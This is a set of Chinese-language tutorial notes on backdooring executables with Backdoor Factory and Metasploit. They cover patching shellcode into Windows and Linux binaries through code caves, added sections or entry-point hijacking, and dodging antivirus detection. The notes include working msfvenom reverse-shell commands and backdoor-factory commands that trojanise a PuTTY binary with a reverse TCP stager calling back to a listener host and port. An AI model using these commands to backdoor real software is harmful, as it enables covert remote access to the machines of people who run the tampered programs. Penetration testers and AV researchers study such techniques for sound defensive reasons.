Patch
● 通过替换EXE、DLL、注册表等方法修复系统漏洞或问题的方法
● BDF:向二进制文件中增加或者删除代码内容
○ 某些受保护的二进制程序无法patch
○ 存在一定概率文件会被patch坏掉
后门工厂
● 适用于windows PE x32/x64和Linux ELF x32/x64(OSX)
● 支持msf payload、自定义payload
● 将shellcode代码patch进模板文件,躲避AV检查
● Python语言编写
Msf使用patch方法
● 覆盖程序入口
msfvenom -p windows/shell/reverse_tcp ......
● 创建新的线程执行shellcode并跳回原程序入口
msfvenom -p windows/shell/reverse_tcp -k
● 增加代码片段跳转执行后跳回源程序入口
CTP方法
● 增加新的代码段section,与MSF的-k方法类似
● 使用现有的代码裂缝/洞(code save)存放shellcode
代码洞
● 二进制文件中超过两个字节的连续x00区域(代码片段间区域)
● 根据统计判断代码洞是编译器在进行编译时造成的,不同的编译器造成代码洞的大小不同
● 单个代码洞大小不足以存放完整的shellcode
○ 多代码洞跳转(非顺序执行)
■ 初期免杀率可达100%
○ 结合msf的stager方法
● Patch选项
○ 附加代码段
○ 单代码洞注入
○ 多代码洞注入
BDF基本使用
准备
首先我们先下载一个putty当作注入程序
● 检查二进制文件是否支持代码注入
backdoor-factory -f [软件路径] -S
● 显示可用的payload
backdoor-factory -f [软件路径] -S show
iat_reverse_tcp_stager_threaded
● 查看cave大小
backdoor-factory -f [软件路径] -c -l
免杀效果对比
backdoor-factory -f [软件路径] -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
backdoor-factory -f [软件路径] -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 -J
backdoor-factory -f [软件路径] -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -a -H 192.168.20.8 -P 6666
● 与veil-evasion集成
● Linux:backdoor-factory -f [软件路径] -s show
● IAT——import address table
○ 指针指向WinAPI地址,被称为thunks(形实转换程序),地址预定义